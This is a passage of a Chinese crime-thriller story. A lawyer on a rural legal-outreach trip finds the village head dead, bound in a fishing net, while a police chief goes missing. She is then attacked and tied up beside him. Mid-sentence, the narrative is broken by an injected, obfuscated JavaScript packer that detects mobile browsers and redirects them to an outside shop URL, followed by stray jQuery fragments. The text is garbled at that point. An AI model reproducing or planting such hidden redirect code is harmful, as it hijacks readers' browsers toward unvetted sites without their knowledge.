许君竹站在代理席后，看着对面律师从公文包里抽出一沓证据。质证是精确的切割——真实性认可，关联性不认可，合法性有瑕疵。语言被压缩成法条编号和证据页码，人被简化为甲方乙方、违约方守约方，对于她又是无意义的一个下午——离婚调解，女方陈述完财产分割方案，民法不需要这个下午，民法只需要财产清单和债务明细。


    沈珩案判决生效后，她在中国裁判文书网下载了全文。不是作为代理律师，只是作为一个旁观者，想看看刑法如何描述一个人生命的脱轨。她想起第一条民法原则——平等主体之间的法律关系，多么干净的表述，像一间打扫得一尘不染的房间。而刑法是另一间屋子，门推开时带起沉积多年的灰尘，光柱里漂浮着无数细小的颗粒，每一颗都是一个人在某一刻的犹豫、冲动、绝望或者执念。


    民事律师维护的是关系，刑事律师面对的是人——被剥去社会身份、合同义务、财产关系后，那个赤裸的、在极端处境下做出选择的人。许君竹在民事领域这片水域感觉漂浮，而刑法是让她深耕的土壤，她需要这种深耕，需要扎根生长的触碰感，需要知道人在剥去所有社会包装后，到底是由什么构成的。


    她决定转型为刑事律师，让自己真的触摸“人”这种生物。


    中正律师事务所与天海市局联合组织的下乡普法活动，在东岛片区展开。王天明带队，市局出四个人；律所这边，许君竹和刑事组的刘小刚搭档。全程十个工作日，五个村子，都在东岛周边。


    谭公村是此行最后一站，也是规模最大的村落——1.5平方公里，616户，1425人。他们在日程里给这里留了两天。


    潮声是先到的那股力量，船还没看见岛影，浪头已经拍在船壳上，把木板震得嗡嗡作响。等船绕过最后一道暗礁，村子才从海雾后面浮出来——不是一下子全露出来，而是像沉在水底的物件被慢慢拎起，先看见山脊，再看见树顶，最后才是那些灰扑扑的屋顶。


    这地方没有正式的港口。船靠岸的地方是一大片碎石滩，石头被潮水打磨了不知道多少年，棱角还在，只是表面包着层滑腻的绿苔。船员跳下去，靴子踩进水里，溅起的不是水花，是混着沙粒的浑浆。码头就两根水泥桩，桩上拴着几条尼龙绳，绳结打得乱七八糟，有的已经磨出了毛边，被盐渍浸成了灰白色。


    沿着滩涂往上走，村子铺在一道缓坡上，屋顶的瓦片是深灰色的，不是那种整齐划一的黛瓦，而是厚薄不一的老瓦，有的裂了缝，有的缺了角，墙根底下长满蕨类植物，不是特意种的，是潮气自己养出来的，绿得发暗，像是从石头里渗出来的霉斑。


    一条石板路从滩涂通到村子深处。石板不是平整的，是被无数双脚和无数年的雨水踩出来的凹痕，中间低，两边高，路两边挤着房子，房子和房子之间的缝隙窄得只能侧身过一个人，缝隙里堆着渔网、塑料桶、烂掉的木桨，还有晒干的鱼，苍蝇在那些东西上面起起落落，发出低沉的嗡嗡声。


    村子中央有口井，井台是整块花岗岩凿的，边缘被绳子勒出了十几道深沟。井口架着个生锈的铁摇把，摇把上缠着一圈破布，布的颜色已经辨不出来了。井旁边有棵老樟树，树干从中间裂成了两半，裂口能塞进一个拳头，但两半都活着，各自长着枝叶，树冠大得能遮住半条街。树底下摆着几张竹椅，椅面已经塌陷，露出里面的竹篾骨架。


    几个老人坐在上面，手里忙着各自的活计——一个用钝刀刮鱼鳞，银白色的鳞片飞起来，落在脚边的泥地上，像撒了一把碎玻璃；另一个在补渔网，竹梭子穿来穿去，网眼有大有小，补过的地方和原来的网眼对不齐，歪歪扭扭的，但能用就行。


    海湾的水不是蓝的。近岸是灰绿色，混着泥沙和浮藻，远一点变成铅灰色，再远就和天接在一起，分不出哪里是海，哪里是云。几个孩子赤着脚在泥里走，裤腿卷到大腿根，腿上糊着层黑泥，手里拎着竹篓，弯腰在礁石缝里翻找，动作很快，手指伸进石缝，掏一下，缩回来，有时手里是只小蟹，有时什么都没有。礁石上的海葵开着，粉红色的触手在水里一张一合，孩子用树枝戳一下，触手就猛地缩回去，变成一团褐色的疙瘩。


    渔船都歇在浅滩上，船底搁浅，船身歪着，船漆是暗红色的，被海水泡得发了黑，船舷上挂着一圈墨绿色的海苔，桅杆上晾着渔网，湿的时候往下坠，干的时候被风吹得鼓起来，像一面面破破烂烂的旗。有男人在修船，锤子敲在木楔上，声音闷闷的，不是清脆的“叮”，而是钝重的“噗”，木屑飞起来，落在他肩膀上，他也不拍，只顾着把新木板往裂缝里塞。木板是临时砍的，尺寸不对，他用斧子削，削下来的木片卷曲着掉进水里，漂一会儿就不见了。


    村子后头有座小庙，庙门只剩一扇，另一扇不知哪年被台风刮走了，剩下的这扇也关不严，门轴锈死了，推开时发出吱嘎声。庙里供的不是常见的菩萨，是一块形状像人形的礁石，礁石上缠着几圈红布，布条褪成了暗粉色，边缘被老鼠啃得参差不齐。香炉里积着厚厚的香灰，灰里插着几根没烧完的残香，香头黑着，只有偶尔吹进来的风能让它们冒出一缕若有若无的青烟。墙角堆着几个空酒瓶和烂掉的蒲团，蒲团里的草屑散了一地，和香灰混在一起，踩上去沙沙响。


    傍晚来得很快，太阳不是落下去的，是被海雾吞掉的，从金黄色变成橘红色，再变成一团模糊的暗红，最后突然就不见了。天没有立刻黑，而是先变成一片浑浊的灰，然后灰里慢慢渗进墨色。


    家家户户的灯也亮了，不是白炽灯的亮，是那种低瓦数的灯泡，灯丝发红，照得屋里的一切都像隔着一层脏玻璃。灯光从窗棂漏出来，落在石板路上，被潮气晕开，变成一块一块的昏黄，像打翻的颜料。


    偶尔有晚归的渔船靠岸，马达声从很远的地方传来，突突突，节奏不稳，像是随时会熄火。船上的灯晃来晃去，光柱扫过水面，能照见浪尖上跳动的白沫，船靠岸后，引擎停了，然后传来抛锚的声音，铁链滑过船舷，砸进水里，沉闷的一声，接着是脚步声，靴子踩在碎石上，咔嚓咔嚓，渐渐远去，被巷子吞掉通向村子最深处的一栋房子——比别的房子更矮，屋顶塌了一角，用塑料布盖着，布的四角压着几块砖头。


    谭村长把王天明一行人领到村里唯一的招待所。


    推开铁栅栏门，院子里只有一栋回字形的水泥砖房，一层，五间房围出个逼仄的天井。外墙的白灰剥落得差不多了，雨痕把裸露的红砖浸成深褐色，像结了层痂，墙根处漫着一片青苔。


    王天明的单间在回字把角，房间最小，但两面有窗。许君竹的房间在走廊另一头，与王天明隔着整个天井，成斜对角，紧挨着公共卫生间，刘小刚律师在王天明隔壁，也是单间。剩下三个警局的小伙子，两间双人房，缩在回字另一翼。其中一间多出来一张空床，床板支着，上面堆着村里多年间的村报等旧文件。


    许君竹蹲在走廊尽头，把手机举过头顶，信号格终于从“E”跳回满格。她往墙根缩了缩，继续和贺收讲话，“喂？能听见吗？这村子信号太差了，还有点瘆得慌，你知道那种老房子，墙缝里都是潮的，一关门子牛子牛的，坚持两天，弄完赶紧撤，连WiFi都没有，幸亏我们都带了信标，要不只能靠喊——”


    灯开了一整夜，许君竹每次翻身，床垫里的弹簧发出一声钝响，几次反复后，她终于坠进睡眠，但坠得很浅，梦和醒之间没有边界。狗叫来得毫无预兆，先是极远处一声，接着近处炸开，三五条狗此起彼伏地嚎起来。她伸手去摸手机，四点五十分，窗帘缝隙里漏进一线天光。


    她轻手轻脚出门，在走廊里撞见小周。小周靠着墙抽烟，看见她，指了指外面。


    “跑一圈不，顺便看看日出？”


    石板路泛着水光，不是雨，是雾凝结后落下来的，两侧的灰墙向后退去，墙缝里的蕨类植物在昏暗中呈现出一种不真实的墨绿色，叶片上也挂着水珠，一颗一颗，像无数只眼睛在眨动。


    跑步的节奏在寂静中被放大。她的呼吸，小周的脚步，心跳，血液流过耳膜的声音，像有人在她颅腔里敲鼓。


    路越走越窄，雾气开始带着咸味，海不远了，按照时间，五点二十分应该有晨曦，东边的海平面应该泛起一线鱼肚白，应该慢慢烧起来，但今天没有，云层厚得像是被谁从天上撕下来一块灰纱，直接盖在了海面上，海和天之间没有分界线，只有一片混沌的灰，灰里偶尔闪过一两道明亮红色的光。


    滩涂在脚下变得松软。许君竹放慢速度，小周却停住了，“那是什么？”


    顺着他的手指，许君竹看见了渔网，不是昨天那种晾在桅杆上的、软塌塌的破网，是展开的，巨大的，从浅滩一直铺到深水区，网绳绷得很紧，像一张鼓面，网的中央，隆起一个黑色的轮廓。


    他们走近。雾气在这里变薄了，或者说，那个东西周围的雾被某种力量排开了，留出一块清晰的、让人不得不直视的空间。


    谭村长——他跪在地上，面朝大海，背对着他们，说是跪，不如说是被固定成跪的姿态——膝盖陷在泥里，很深，泥面平滑，没有挣扎的痕迹。上半身笔直，被几根粗大的纲绳从腋下穿过，吊在网的横梁上。他的头被固定在渔网上，角度大得违背了颈椎的生理极限，下巴高耸直指天空，像一只被掰断了脖子的飞鱼。


    许君竹的胃痉挛了一下，她没吐，但喉头涌上一股酸水，又被她咽回去。


    谭村长全身灰白色，不是苍白，不是青白，是那种被海水和盐反复腌制后，皮肤彻底失去血色和弹性的灰白色。谭村长的手垂在两侧，手指蜷曲，他的夹克还是昨天那件灰蓝色的，袖口磨白，现在那磨白的边缘被水泡得发黑，往下滴着水——不是活人的滴法，是一滴，停很久，再一滴。


    整个滩涂上，只有他们来时的两行脚印，除此之外，什么都没有，没有第三个人的痕迹，甚至连风掠过的波纹都缺席——仿佛这片海滩在他们踏上来之前，是从未有人涉足过的。


    “我守着。”小周眼睛盯着那具跪着的尸体，手按在腰后，声音压低，“别慌，你先回去，把王局叫来，同时联系村委会和布队。”


    许君竹一个人往回跑的时候，她的腿在抖，不是冷，是肌肉在恐惧中自发地战栗，像有无数细针顺着骨髓在往上扎，她发现石板路变了——那些青苔像活过来一样，死死咬住鞋底，每一步都要用力撕扯才能拔出来，发出黏腻的呻吟。来时是下坡路，现在却成了爬坡，越挣扎越沉重。


    她不敢回头，怕看见自己身后多出一行湿漉漉的脚印，怕看见那些灰墙缝隙里有什么东西正探出眼睛。海风从背后追上来，贴着她的后颈灌进衣领，像有人贴着她的耳根，在数她的步数。


    招待所的铁栅栏门在雾中显形，许君竹踉跄扑上去，铁条硌得掌心生疼，她顾不上了，扯开嗓子喊，“王局！谭村长死了！”声音炸出去，炸开了谭公村上空的迷雾。


    王天明房间的门没锁，一推就开，王天明并没有如预想在房间里，许君竹探头问，“王局？”


    房间里的布局和昨天一模一样，但又完全不一样了，那张靠窗的铁架床，床单铺得太平了，平得不像是人睡过的，枕头摆在中线，枕巾四角对齐，呈现出一种近乎祭坛的规整。许君竹伸手摸了一下枕面——凉的，不是清晨的凉，是那种从未被体温触碰过的冰凉。


    她退到走廊里，后背抵住墙壁，水泥墙面的潮气透过衣服渗进来，对面几扇门早已打开，刘小刚拎着衬衫，三个小伙子挤在门框里，脸在昏暗中浮出来，像几张被水浸透的纸。


    “怎么了？”有人问她，“谁死了？”


    “谭村长死了！”许君竹说。


    她举着手机在走廊里来回走动，屏幕上的信号格在“E”和“无服务”之间跳变，她拨了布复虑的号码，听筒里先是漫长的静默，当布复虑的声音从很远的地方切进来，许君竹那颗仿佛翻山越岭后狂跳的心，逐渐一点一点稳定下来。


    “再说一遍，谁？”布复虑的声音断断续续。


    “我们宣传村的村长！”许君竹把手机贴近嘴边喊道，“就在海边，挂在渔网上，死了！而且王局不见了，房间没人，行李在，人不在！”


    “确定死亡？”布复虑问。


    “确定！人都灰了！脖子都让人掰折了，正常人下巴不会那个角度冲着天，而且现场一点痕迹都没有！我们怕被破坏，现在小周守着，我回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553451|203743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来报信，但是王局不见了！”


    “卧槽！”手机信号又断了，许君竹继续打，“你们抓紧过来！最快多久能到？”


    “就算现在往机场赶，到你们那也是下午，你们马上报警，有谁算谁，不要干等我们！”布复虑的语速很快，但是指令清晰，“同时分两个人，保护好现场。再派一个人，把全村常住人口名单全调出来，扫描发回技术科，先把本地人的社会关系过一遍筛子。其余的人——”他的声音突然沉下去，“全部去找王局，这个节骨眼上失踪，不会是巧合，我很怕——”


    信号断了，那半截话悬在半空，死了一个村长，失踪一个局长，布复虑没说完的那半句，在场每一个人心里都替他补完了。


    按布复虑的指示，赵磊被派往海边增援小周，刘小刚和剩下的小伙子一边报警一边如何寻找王天明的下落，许君竹的任务是去村支部——拿到全村常住人口名单，立刻发回市局。


    许君竹刚转为是刑事律师，尸检报告和现场照片她见过一些，但那些是卷宗里的二维图像，被装订在牛皮纸袋中，有页码，有比例尺，有法医冷静的文字注解，真正站在死亡现场，嗅到那种海水泡过的腐败前兆，是另一回事。


    她不敢慢一路小跑，布复虑虽然没有说完，可她知道，王天明局长很可能有生命危险，现在最重要的就是“抓紧时间”。


    村子比她想象的更深。石板路在雾中延伸，两侧的灰墙夹出仅容两人并行的巷道，墙头的瓦楞上挂着枯死的苔藓，像一层剥落的头皮，经过那口古井，井台上的木勺还在，但旁边择海菜的老人不见了，竹椅空着，椅面上的水渍还没干透。整个村子陷入一种被抽成真空的寂静，连她自己的脚步声都被雾气吸收了，只剩下鞋底碾过石板缝隙时发出的咯吱声。


    村支部是一栋比招待所更矮的平房，因时间太早，铁门紧闭，挂着一把锈迹斑斑的挂锁，她转身，按照昨晚谭村长闲聊时提过的方位，去找副村长谭卫民的家。


    谭卫民住在村子东翼，靠近灯塔的方向。许君竹敲了三次门，门内先是死寂，接着传来拖沓的塑料拖鞋声，门开了一条缝，露出半张脸。谭卫民四十出头，脸型和谭村长有七分像。


    “谭村长死了！”许君竹没铺垫，她学过危机沟通，知道这种消息越短越能减少误解，“市局的人傍晚到，现在需要全村常住人口名单，立刻！”


    村支部的档案室不到十平米，一盏十五瓦的灯泡悬在头顶，把谭卫民的影子投在墙上，拉得变形。常住人口名单锁在一个绿色的铁皮柜里，柜门打开时发出刺耳的呻吟。名单是手写的，A4纸大小，共四十七页，纸页泛黄，字迹是蓝色圆珠笔，有些页面被水渍洇开，姓名栏糊成一片蓝雾。


    没有扫描仪，许君竹一张张拍照，四十七页，她拍得很仔细，必须保证每一页的边角完整入镜，光线不足，她不得不把名单凑到灯泡正下方，拍完后，用微信一张张发给布复虑，信号极差，每张照片都要转圈三十秒以上，发送失败的红色感叹号出现了多次，她回到院子里重新上传，汗水打湿了她的衬衫后襟。


    全部发完时，时间过去了两个小时，许君竹把手机塞回裤兜，对谭卫民说了句“村子里有广播呢，告诉大家不要离开村子，不要去海边，随时配合调查！”，便转身离开了，必须尽快回去，刘小刚律师那边需要人手，王天明还没有下落。


    返程的路似乎比来时更长了，雾气开始流动，不是散去，而是被某种看不见的气压推着，贴着地皮翻滚，把石板路浸得更滑。


    她经过那棵老樟树，树干裂口像一张无声的嘴。她加快步伐，心跳开始攀升，不是体力消耗，是那种独自暴露在未知环境中的警觉——后颈汗毛竖了起来，她听到了声音。不是脚步声，是某种金属与布料摩擦的轻响，来自身后，她下意识转头——


    钝器击中她左后侧颞骨与顶骨交界处的瞬间，她听见了两种声音：一种是金属撞击骨传导产生的、在颅腔内炸开的轰鸣，另一种是头皮和肉撕裂的闷响，痛觉缠绵，声音却短促。


    视野不是变黑的，是变成暗红色的，从边缘向中心收缩，她试图迈步，但前庭系统已经失效，双腿失去方向感，膝盖砸在石板路上，剧痛被麻木快速笼罩，她彻底失去了意识。


    醒来是一个缓慢而痛苦的过程。先是嗅觉恢复——霉味，浓重的、几乎能凝结成固体的霉味，混着另一种更尖锐的气息，铁锈味，是血。


    然后是触觉，许君竹的手腕被粗糙的麻绳勒着，绳结打在腕关节桡侧，每一次试图收缩前臂肌群，尼龙纤维就嵌进皮肤更深一层，脚踝也被固定了，不是绑在椅腿上，是绑在摇椅的底座横木上，那种老式藤编摇椅，她每一次挣扎，都让椅身发出不堪重负的吱嘎声。


    最后是视觉，房间很暗，只有高处一扇气窗漏进一线灰光，光柱里悬浮着密集的尘埃。她低下头，看清了脚边的那团物体——王天明！


    王天明侧卧在摇椅前方的砖地上，双手反剪于背后，手腕与脚踝被同一根尼龙绳捆缚，绳结打在踝骨上方，勒进了皮肉，他保持着一种被迫的蜷曲姿态，左肩着地，右膝微屈，没有任何自主活动的迹象。衬衫前襟被血浸透，深色布料吸饱液体后呈现出接近黑色的暗红。身下的血泊边缘部分开始凝固，颜色从暗红转为褐黑，中心区域尚未完全凝结，在微弱的光线下泛着一层油亮的、缓慢的反光。


    许君竹试图喊叫王天明，但声音刚冲出喉咙就被截断了。


    她的头颅被数匝透明鱼线缠缚，线体从下颌骨角斜拉至耳后，在头顶收束成结，鱼线极细，韧度却极高，每一圈都嵌进发际线边缘的皮肉，像一道无形的颈箍。她试图张嘴，下颌骨刚向下移动半厘米，鱼线便瞬间绷紧，从两侧嘴角向颞部切割，皮肉被勒出一道先白后红的压痕，随即渗出血珠——那种痛不是钝痛，是锐利的、持续的、像有无数细齿在缓慢锯磨神经末梢的切割感，堪比凌迟。


    她拼命晃动摇椅，试图挣脱。藤编椅身早已腐朽老化，每一次扭动都让断裂的藤条发出脆响——咔嚓，咔嚓——在死寂的房间里，那声音像骨头在关节处被强行掰断。


    窗外，潮声隐隐传来，像某种巨大生物在黑暗中缓慢呼吸。